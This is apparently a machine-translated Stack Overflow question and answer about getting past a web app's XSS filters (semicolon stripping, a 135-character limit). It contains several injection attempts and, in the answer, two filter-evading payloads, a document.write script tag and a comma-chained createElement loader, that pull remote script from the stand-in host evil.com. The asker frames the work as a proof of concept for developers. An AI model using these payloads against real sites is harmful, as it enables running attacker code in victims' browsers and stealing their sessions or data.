如何使用特定条件或过滤器滥用XSS?

时间:2018-09-29 13:27:38

标签: javascript xss client-side-attacks

我发现一个Web应用程序容易受到XSS的攻击,并且可以使用img标签来运行某些javascript,但是我使用的方法破坏了页面的其余部分,因为它们使用了一些过滤器来尝试阻止它。

到目前为止,我检测到的过滤器如下:

  • </anythingyouwant>一无所获
  • />一无所获
  • ;被替换为空格,直到下一个>
  • 135个字符限制,包括<img src="." onerror="alert('xss')">前的传递方式

注入<img src="." onerror="alert('xss')">效果很好,但是这些开发人员对此表示怀疑,并希望看到完整的javascript代码的完整PoC。完全可以运行任意脚本吗?

我尝试过:

  • <img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">结果:太长,即使URL缩短了
  • <script src="//evil.com/myscript" />结果:无法像这样关闭脚本标签,并且它会被过滤,并且通过网络应用程序省略“ closing”标签而破坏了页面的其余部分
  • <script src=//evil.com/myscript"></script>结果:被过滤,如上所述破坏页面的其余部分
  • <img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">结果:分号被过滤,导致网页中断
  • <img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">结果:不确定这是否是有效的js,但是它按预期方式出现在Chrome view page source中,但无法按需运行

我正在使用chrome进行测试,以防万一它与之相关。

1 个答案:

答案 0 :(得分:1)

您列出的安全措施绝对不足。我可以想象为您工作的两个示例:

<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">

或使用,而不是;的版本:

<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">

但是我绝对可以确定还有很多其他方法可以做到这一点。您还可以检查在cheat sheet中找到的以下this answer